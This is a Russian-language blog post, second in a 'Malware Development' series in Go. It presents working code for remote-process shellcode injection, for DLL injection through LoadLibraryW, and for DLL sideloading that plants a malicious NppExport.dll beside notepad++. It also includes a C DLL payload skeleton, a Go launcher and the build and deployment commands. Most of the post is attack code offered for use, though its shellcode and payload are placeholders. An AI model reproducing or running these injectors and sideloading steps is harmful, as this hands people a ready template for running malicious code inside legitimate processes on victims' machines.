Malware Development | golang #2
tldr: remote process injection, dll injection, dll sideloading, reflective dll loading.
В прошлый раз остановились на нескольких популярных функциях. В этой статье будет дальнейший разбор с готовыми примерами.
1. Remote Process Shellcode Injection
OpenProcess => VirtualAllocEx (RW) => WriteProcessMemory => VirtualProtectEx (RX) => CreateRemoteThread
package main
import (
"golang.org/x/sys/windows"
"log"
"os"
"strconv"
)
func main() {
//аналог си atoi
pid, err := strconv.Atoi(os.Args[1])
if err != nil {
log.Fatal(err)
}
shellcode := []byte{}
lensh := len(shellcode)
// fmt.Printf("len=%d, sh=%x", lensh, shellcode)
hProc, err := windows.OpenProcess(windows.PROCESS_ALL_ACCESS, false, uint32(pid))
if err != nil {
log.Fatal(err)
}
log.Println(hProc)
kernel32 := windows.NewLazyDLL("kernel32.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
va, _, errVAEx := VirtualAllocEx.Call(uintptr(hProc), 0, uintptr(lensh), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
if va == 0 {
log.Fatalf("VirtualAllocEx failed: %s", errVAEx)
}
log.Printf("va=0x%X", va)
written := new(uintptr)
err = windows.WriteProcessMemory(hProc, va, &shellcode[0], uintptr(lensh), written)
if err != nil {
log.Fatal(err)
}
var oldProt uint32
err = windows.VirtualProtectEx(hProc, va, uintptr(lensh), windows.PAGE_EXECUTE_READ, &oldProt)
if err != nil {
log.Fatal(err)
}
CreateRemoteThread := kernel32.NewProc("CreateRemoteThread")
thread, _, _ := CreateRemoteThread.Call(uintptr(hProc), 0, 0, va, uintptr(0), 0, 0)
if thread == 0 {
log.Fatal("CreateRemoteThread failed")
}
event, err := windows.WaitForSingleObject(windows.Handle(thread), 0xffffffff)
if err != nil {
log.Fatal(err)
}
_ = event
}2. DLL Injection
Записываем строку в памяти PID процесса, спавним поток (выглядит как поток от нашего бинарника), выолняющий уже от PID процесса загрузку либы. Следующие уровни техники - DLL SideLoading , Module Stomping. По функционалу должно быть все понятно, все функции разбирались.
Проблемы техники: 1) видно открытие хендла 2) спавн потока 3) WriteProcessMemory.
package main
import (
"log"
"os"
"strconv"
"unsafe"
"golang.org/x/sys/windows"
)
func er(err error) {
if err != nil {
log.Fatal(err)
}
}
func main() {
pid, err := strconv.Atoi(os.Args[1])
er(err)
log.Println(pid)
//StringToUTF16 deprecated
dllPath, err := windows.UTF16FromString(`C:\Windows\System32\XpsPrint.dll`)
er(err)
//bytes, тк utf16
lenBytes := uintptr(len(dllPath) * 2)
hProc, err := windows.OpenProcess(windows.PROCESS_ALL_ACCESS, false, uint32(pid))
er(err)
defer windows.CloseHandle(hProc)
kernel32 := windows.NewLazyDLL("kernel32.dll")
LoadLibraryW := kernel32.NewProc("LoadLibraryW")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
CreateRemoteThread := kernel32.NewProc("CreateRemoteThread")
va, _, errVAEx := VirtualAllocEx.Call(uintptr(hProc), 0, lenBytes, windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
if va == 0 {
log.Fatalf("VirtualAllocEx failed: %s", errVAEx)
}
log.Println(va)
var written uintptr
err = windows.WriteProcessMemory(hProc, va, (*byte)(unsafe.Pointer(&dllPath[0])), lenBytes, &written)
er(err)
ThreadStartRoutine := LoadLibraryW.Addr()
thread, _, _ := CreateRemoteThread.Call(uintptr(hProc), 0, 0, ThreadStartRoutine, va, 0, 0)
if thread == 0 {
log.Fatal("CreateRemoteThread failed")
}
event, err := windows.WaitForSingleObject(windows.Handle(thread), windows.INFINITE)
er(err)
_ = event
}3. DLL sideloading
Вся суть заключается в том, как DLL ищется бинарником мы подкладываем malicious DLL в папку к легитимному ехе; Как ищется DLL: 1) папка exe 2) system32 3) windows 4) . 5) path сначала надо найти длл которую бинарник не может найти, для этого я использовал Procmon:
Потом решил не усложнять и посмотрел в информере:
В выводе явно видно какие длл подменяемые.
Но перед этим нужно убедиться, что это не known dlls - у
них пути предопределены, подменить не получится
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs" | findstr /i <dllname>Сам факт наличия QueryOpen DLL говорит о том, что где-то
происходит LoadLibrary("Wldp.dll") или она в import table
без полного пути. Происходит поиск по порядку (выше), находится
malicious DLL, происходит
DllMain(hModule, DLL_PROCESS_ATTACH, NULL), код выполняется
внутри notepad++.exe. После этого развилка
graph TD
A[Загружена наша DLL] --> B[Функционал юзается]
A[Загружена наша DLL] --> C[Не юзается]
B[Функционал юзается] --> D[Нужен прокси]
C[Не юзается] --> E[Достаточно DllMain без форвардинга]
Для понимания, юзается длл реально или нет просто смотрим импорты в
конкретном PE файле, если из либы X есть функции - значит нужен прокси;
тогда наша длл должна экспортировать те же имена, внутри каждой -
форвардинг вызовов в настоящую Wldp.dll (к примеру),
которую мы должны переименовать и положить рядом/локализовать и
использовать, если она не в этой папке, иначе программа крашнется при
первой попытке вызова импортируемой функции. Можно довольно легко
написать парсер импортов, я для наглядности использую PE-bear:
Нашей целью будет NppExport.dll. Значит, нам нужна длл с
кастомным функционалом, рассматриваем случай без использования
импортов:
//dll skeleton
#include <stdio.h>
#include <windows.h>
#include <winnt.h>
DWORD WINAPI Payload(LPVOID lpParam);
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL, 0, Payload, NULL, 0, NULL);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
DWORD WINAPI Payload(LPVOID lpParam)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb = sizeof(si);
MessageBox(NULL, "DLL sideloaded", "text", 0);
void *addr = VirtualAlloc(0, DWORD(1000), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WaitForSingleObjectEx(pi.hProcess, 59999, false);
return 0;
}Go loader:
package main
import (
"log"
"os"
"unsafe"
"golang.org/x/sys/windows"
)
func main() {
exePath := os.Args[1]
cmdLine, err := windows.UTF16PtrFromString(exePath)
if err != nil {
log.Fatal(err)
}
var si windows.StartupInfo
si.Cb = uint32(unsafe.Sizeof(si))
var pi windows.ProcessInformation
err = windows.CreateProcess(nil, cmdLine, nil, nil, false, 0, nil, nil, &si, &pi)
if err != nil {
log.Fatal("couldnt create process", err)
}
event, err := windows.WaitForSingleObject(pi.Process, windows.INFINITE)
_ = event
/*
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
// Start the child process.
if( !CreateProcess( NULL, // No module name (use command line)
argv[1], // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
0, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi ) // Pointer to PROCESS_INFORMATION structure
)
{
printf( "CreateProcess failed (%d).\n", GetLastError() );
return;
}
// Wait until child process exits.
WaitForSingleObject( pi.hProcess, INFINITE );
// Close process and thread handles.
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
}
*/
}Итого, usage:
g++ -shared -o NppExport.dll .\skel.cpp -luser32
mv .\NppExport.dll ...\notepad++_dir\
dll_sideloader.exe "...\notepad++dir"
Можно еще написать DLL через buildmode=c-shared,
экспортировать нужные функции
//export _DllMainCRTStartupfunc _DllMainCRTStartup(_, _, _ uintptr) uintptr { go runPayload() return 1}